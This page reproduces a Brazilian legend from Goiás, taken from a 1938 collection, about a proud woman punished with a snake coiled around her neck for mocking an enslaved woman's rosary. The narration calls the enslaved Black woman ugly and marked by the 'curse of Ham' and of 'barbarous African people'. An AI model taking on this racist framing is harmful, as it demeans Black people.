A MÃE DAS COBRAS – mito indígena brasileiro

A MÃE DAS COBRAS – mito indígena brasileiro

lenda indígena

A MÃE DAS COBRAS

A velha cidade goiana, engastada num declive aurífero e recortada pelo arroio Lavapés amanhecera gárrula e enfeitada dos melhores ornamentos domingueiros: pelas ruas bandos juvenis, moços e moças corriam apressados ao apelo do envelhecido sino; velhinhas iam murmurando já suas orações pelos caminhos, enquanto uma onda de escravos crescia na direção da igreja branca, muito branca, mirando a cidade secular do alto da colina disfarçada. A alma católica do ameno rincão manifestava vivamente seu sentimento de alegria.

Um sol dourado de outono sorria e cercava de um halo encantador o templo antiquado, exaltando-lhe o colorido, destacando-lhe os contornos. Lá dentro regorgitava uma mesclada assistência.

Estearinas, como estrelas tristes e apagadas, clareavam o recinto, tremeluzindo aos açoites do vento brando.

Aqui e além a barra de um tundá manchava de vermelho o assoalho entaboado.

Os homens envergavam as curtas jaquetas e as moças mantinham-se eretas, em suas vestes apertadas, blusas coladas ao corpo e saias em forma de balão, com armação metálica.

Surdos ruídos de orações… estalos de ósculos nas pontas dos dedos, após o sinal da cruz… silêncio…

Ela entrou por último, fazendo voltar todos os rostos, num roçagar de seda, deixando uma esteira de perfume após seus passos ela — Madalena — era a moça mais bela, mais rica, mais orgulhosa que jamais se conhecera naquelas paragens. Possuidora de todos os dotes necessários para ser formosa, fazia-se realçar mais ainda pelas elegantes e ricas vestes que trazia.

Passou e foi prosternar-se, vendendo caro suas atitudes de rainha, aos pés da Virgem Maria. Apenas fizera acomodar sua saia balão de rica seda lilás, uma vizinha humilde e pecadora lhe chega, contrastando, horrivelmente com os adornos aristocráticos, auxiliares de sua elegância.

Era negra e escrava: trazia a tinta da maldição de Cam e o cunho oprobioso da bárbara gente africana; daquele colo feio e preto pendia um longo rosário de contas de lágrimas de Nossa Senhora.

E a moça rica e aristocrática exclamou:

— Antes quisera ter uma cobra enroladinha ao pescoço do que esse feio enfeite de contas de lágrimas.

E a negra humildemente:

— Deus a ouça, minha branca.

As expressões trocadas entre o orgulho e a senzala tinham chegado até os ouvidos da gente boa daquela terra, conhecedora da onda má de arrogância do infernal espírito da moça.

O sacerdote oficiava já. Entretanto um borborinho de susto, uma expressão de terror enche o recinto do avelhantado templo: é que todos viam enrodilhada ao colo de ala-basto da orgulhosa donzela, uma enorme cobra, com a cabeça apoiada ao ombro da desgraçada Madalena, cujo felino semblante denunciava o mais terrível medo, misturado, pela primeira vez, com profundo arrependimento. O povo benzia-se ajoelhado, as mulheres persignavam-se, orando entre dentes, e algumas desmaiavam.

Madalena, órbitas dilatadas, fazia vãos esforços para arrancar o nojento réptil do seu alvo pescoço.

O ofício divino foi interrompido e o bom velho cura, não obstante os melhores desejos, não conseguiu apartar o castigo que perseguia o orgulho. O ofídio esteve insensível às golfadas de água benta e às orações petitorias da assistência.

Madalena horrorizada, perdera a beleza, seus traços de formosura apagaram-se, contraídos os músculos faciais, dilatadas as órbitas e as veias do pescoço, muito alvo e agora poluído de negro pelas rodilhas do monstro.

— Só um bispo poderá livrá-la do castigo divino, disse o padre que logo reincetou a missa interrompida.

A moça baixou a cabeça e, por entre alas amedrontadas saiu da igreja, com o firme propósito de procurar o santo bispo, senhor do domínio da enorme cobra que, tão feia, parecia esculpida em seu colo de neve, agora manchado de espirais viscosas.

E a peregrinação começou através de inóspitas paragens, onde pés humanos jamais tinham deixado seus traços. Penhascos e campinas, florestas e várzeas, pântanos e rios foram vencidos: a terra se aumentava a seus passos. Madalena rasgadas as vestes pelos espinheiros, queimada a branca pele por efeitos dos raios do sol abrasador, coberta de andrajos, parecia a personificação da loucura a vagar… a vagar… à procura de um bispo.

Povos, climas e rios se passavam e Madalena ia seguindo a estrada do castigo. E não encontrava o que procurava com tanto afã, um bispo…

Muitos anos depois atingiu a cidade buscada: nela residia um bispo. Procurá-lo foi trabalho de um instante; contar-lhe a tremenda desgraça foi o seu primeiro objetivo.

O bom pastor de almas, ouvida a narrativa aflita da moça peregrina, quedou-se pensativo, orando e pedindo inspiração ao Supremo Poder.

— Traze-me um saco cheio de algodão descaroçado por tuas próprias mãos, disse o missionário levantando-se e abençoando a moça.

Madalena obedeceu e, no dia seguinte, durante um solene ofício do próprio bispo, o medonho réptil foi por este mansamente retirado do pescoço da infeliz moça e posto no saco de algodão, enquanto um coro de meninos cantava uma liturgia muito suave, muito terna, doce, sugestiva…

— Este saco, disso o bispo à moça, conduzi-lo-ás através do mundo; não o deixarás um instante; é o supremo castigo do teu orgulho.

— Esta cobra será tua companheira de privações pela vida até a morte. Duas lágrimas caíram pelas faces da moça, que o medo descompusera.

Madalena levantou-se, tomou a sacola e rumou para seus penates longínquos, curvada ao peso do monstro adormecido entre algodões.

Na volta da estrada, sumiu-se cabisbaixa e dolorosa: toda tristeza e desventura…

Os mesmos penhascos, os mesmos pântanos, as mesmas florestas, os mesmos dissabores… Foi vagando, foi vagando e, antes de avistar o casario natal, adormeceu à beira de uma corrente e não mais despertou para a vida…

I. G. Americano do Brasil: Lendas e Encantamentos do Sertão.

Edições e Publicações Brasil, São Paulo, 1938, pp. 83-86.

Fonte: Estórias e Lendas de Goiás e Mato Grosso. Seleção de Regina Lacerda. Desenhos de J. Lanzelotti. Ed. Literat. 1962

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